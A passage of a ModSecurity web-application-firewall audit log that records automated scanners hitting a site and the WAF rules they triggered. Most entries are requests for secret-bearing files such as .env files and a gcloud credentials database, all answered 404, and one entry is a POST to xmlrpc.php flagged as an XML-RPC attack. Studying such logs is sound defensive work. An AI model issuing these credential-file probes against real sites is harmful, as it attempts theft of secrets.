Engine-Mode: "DETECTION_ONLY" --84683965-Z-- --de291417-A-- [16/Jun/2025:04:56:16.026361 +0530] aE9Wl5bumDYPKpRD2eksRAAAAAA 185.177.72.210 53786 127.0.0.1 7081 --de291417-B-- GET /processor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --de291417-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c70d506695a24a5a165648ff9ce6fd781750029975; expires=Mon, 16 Jun 2025 00:26:15 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --de291417-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/processor/.env"] [unique_id "aE9Wl5bumDYPKpRD2eksRAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029975351887 674557 (- - -) Stopwatch2: 1750029975351887 674557; combined=1970, p1=457, p2=1398, p3=0, p4=0, p5=114, sr=114, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --de291417-Z-- --2a39fc3a-A-- [16/Jun/2025:04:56:20.117110 +0530] aE9Wm-xC6fQU5wYvxvl1eQAAAAk 185.177.72.210 60698 127.0.0.1 7081 --2a39fc3a-B-- GET /:9000/symfony/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --2a39fc3a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=edd85fc2cda6d2d8c0b3f4aa6bdbd88a1750029979; expires=Mon, 16 Jun 2025 00:26:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --2a39fc3a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/symfony/.env"] [unique_id "aE9Wm-xC6fQU5wYvxvl1eQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029979443854 673389 (- - -) Stopwatch2: 1750029979443854 673389; combined=1835, p1=522, p2=1201, p3=0, p4=0, p5=111, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --2a39fc3a-Z-- --3d673e4a-A-- [16/Jun/2025:04:56:29.294453 +0530] aE9WpPkk7JsP-DN1XGMnyAAAAAo 185.177.72.210 33112 127.0.0.1 7081 --3d673e4a-B-- GET /wvdial.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3d673e4a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d3b53652631739f9186aec81b8d9773c1750029989; expires=Mon, 16 Jun 2025 00:26:29 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3d673e4a-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/wvdial.conf"] [unique_id "aE9WpPkk7JsP-DN1XGMnyAAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029988612348 682169 (- - -) Stopwatch2: 1750029988612348 682169; combined=2087, p1=362, p2=1615, p3=0, p4=0, p5=109, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3d673e4a-Z-- --bca1d415-A-- [16/Jun/2025:04:56:30.330284 +0530] aE9WpZbumDYPKpRD2eksTwAAAAA 185.177.72.210 43712 127.0.0.1 7081 --bca1d415-B-- GET /dkms.conf HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bca1d415-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ebd5aac99b76436f718d59e61a80d6ad1750029990; expires=Mon, 16 Jun 2025 00:26:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bca1d415-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".conf"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/dkms.conf"] [unique_id "aE9WpZbumDYPKpRD2eksTwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029989663282 667128 (- - -) Stopwatch2: 1750029989663282 667128; combined=2068, p1=406, p2=1566, p3=0, p4=0, p5=95, sr=126, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bca1d415-Z-- --304eb973-A-- [16/Jun/2025:04:56:33.290610 +0530] aE9WqEoyC4_VyyL7sS6OEwAAAAI 185.177.72.210 43820 127.0.0.1 7081 --304eb973-B-- GET /.env.テスト HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --304eb973-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=5193c814bcba8dbeb513ee4fc45fb8b21750029993; expires=Mon, 16 Jun 2025 00:26:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --304eb973-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.\\\\xe3\\\\x83\\\\x86\\\\xe3\\\\x82\\\\xb9\\\\xe3\\\\x83\\\\x88"] [unique_id "aE9WqEoyC4_VyyL7sS6OEwAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750029992626355 664334 (- - -) Stopwatch2: 1750029992626355 664334; combined=2024, p1=378, p2=1449, p3=0, p4=0, p5=173, sr=103, sw=24, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --304eb973-Z-- --a2163c30-A-- [16/Jun/2025:04:56:46.885449 +0530] aE9WtlxTdrwJSUMoZvG3PwAAAAc 185.177.72.210 37934 127.0.0.1 7081 --a2163c30-B-- GET /:8000/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a2163c30-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=00ab27255bfe2dc23f07c1ae91b886d91750030006; expires=Mon, 16 Jun 2025 00:26:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a2163c30-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/api/.env"] [unique_id "aE9WtlxTdrwJSUMoZvG3PwAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030006231182 654336 (- - -) Stopwatch2: 1750030006231182 654336; combined=1761, p1=387, p2=1276, p3=0, p4=0, p5=97, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a2163c30-Z-- --e65ac965-A-- [16/Jun/2025:04:56:48.902550 +0530] aE9WuNsSyryJAq1gQM3wfQAAAAs 185.177.72.210 38030 127.0.0.1 7081 --e65ac965-B-- GET /static_prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e65ac965-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=95c25744934d1970570a934cbdf5ad4f1750030008; expires=Mon, 16 Jun 2025 00:26:48 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e65ac965-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/static_prod/.env"] [unique_id "aE9WuNsSyryJAq1gQM3wfQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030008262902 639711 (- - -) Stopwatch2: 1750030008262902 639711; combined=1644, p1=351, p2=1200, p3=0, p4=0, p5=92, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e65ac965-Z-- --ec0dda37-A-- [16/Jun/2025:04:56:51.948338 +0530] aE9Wu5bumDYPKpRD2eksWgAAAAA 185.177.72.210 35974 127.0.0.1 7081 --ec0dda37-B-- GET /whturk/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ec0dda37-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=230ae2a9848af702e8ef3a8aad42b94c1750030011; expires=Mon, 16 Jun 2025 00:26:51 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ec0dda37-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/whturk/.env"] [unique_id "aE9Wu5bumDYPKpRD2eksWgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030011247802 700608 (- - -) Stopwatch2: 1750030011247802 700608; combined=1982, p1=426, p2=1459, p3=0, p4=0, p5=97, sr=122, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ec0dda37-Z-- --189eb71c-A-- [16/Jun/2025:04:57:00.344947 +0530] aE9Ww-xC6fQU5wYvxvl1kQAAAAk 185.177.72.210 50126 127.0.0.1 7081 --189eb71c-B-- GET /.config/gcloud/credentials.db HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --189eb71c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f574ffea006b8e5523ee2ee2691a09921750030020; expires=Mon, 16 Jun 2025 00:27:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --189eb71c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".db"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.config/gcloud/credentials.db"] [unique_id "aE9Ww-xC6fQU5wYvxvl1kQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030019684388 660651 (- - -) Stopwatch2: 1750030019684388 660651; combined=1792, p1=323, p2=1341, p3=0, p4=0, p5=128, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --189eb71c-Z-- --250aca42-A-- [16/Jun/2025:04:57:04.052831 +0530] aE9Wx5bumDYPKpRD2eksYAAAAAA 185.177.72.210 50304 127.0.0.1 7081 --250aca42-B-- GET /main.mdb HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --250aca42-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=f4bc6a4c04a60a02588825f899d90cce1750030023; expires=Mon, 16 Jun 2025 00:27:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --250aca42-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".mdb"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/main.mdb"] [unique_id "aE9Wx5bumDYPKpRD2eksYAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030023376504 676402 (- - -) Stopwatch2: 1750030023376504 676402; combined=2371, p1=466, p2=1804, p3=0, p4=0, p5=100, sr=137, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --250aca42-Z-- --3de1417b-A-- [16/Jun/2025:04:57:08.238742 +0530] aE9Wy7V9qKUox3X8g1YpawAAAAg 185.177.72.210 50518 127.0.0.1 7081 --3de1417b-B-- GET /xx-final/vue-heroes/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3de1417b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=20c00989358c342b6a54dd9e600660b21750030028; expires=Mon, 16 Jun 2025 00:27:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3de1417b-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/xx-final/vue-heroes/.env"] [unique_id "aE9Wy7V9qKUox3X8g1YpawAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030027563661 675142 (- - -) Stopwatch2: 1750030027563661 675142; combined=1892, p1=386, p2=1425, p3=0, p4=0, p5=80, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3de1417b-Z-- --9d5f2519-A-- [16/Jun/2025:04:57:09.641607 +0530] aE9WzLBfUm2FdhH5voEVSAAAAAU 128.199.112.101 50578 127.0.0.1 7081 --9d5f2519-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 502 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9d5f2519-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9d5f2519-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9WzLBfUm2FdhH5voEVSAAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030028654503 987162 (- - -) Stopwatch2: 1750030028654503 987162; combined=2470, p1=479, p2=1579, p3=42, p4=71, p5=184, sr=126, sw=115, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d5f2519-Z-- --49349100-A-- [16/Jun/2025:04:57:23.927984 +0530] aE9W27BfUm2FdhH5voEVTgAAAAU 185.177.72.210 49766 127.0.0.1 7081 --49349100-B-- GET /demo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --49349100-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=de8e009fbf1cd20117ef16be32495c6d1750030043; expires=Mon, 16 Jun 2025 00:27:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --49349100-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/demo/.env"] [unique_id "aE9W27BfUm2FdhH5voEVTgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750030043289395 638653 (- - -) Stopwatch2: 1750030043289395 638653; combined=1941, p1=375, p2=1470, p3=0, p4=0, p5=95, sr=93, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --49349100-Z-- --76ad0801-A-- [16/Jun/2025:04:57:28.746817 +0530] aE9W4H2GhYywD7zZgx4HHgAAAAM 185.177.72.210 50014 127.0.0.1 7081 --76ad0801-B-- GET /postfixadmin/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) 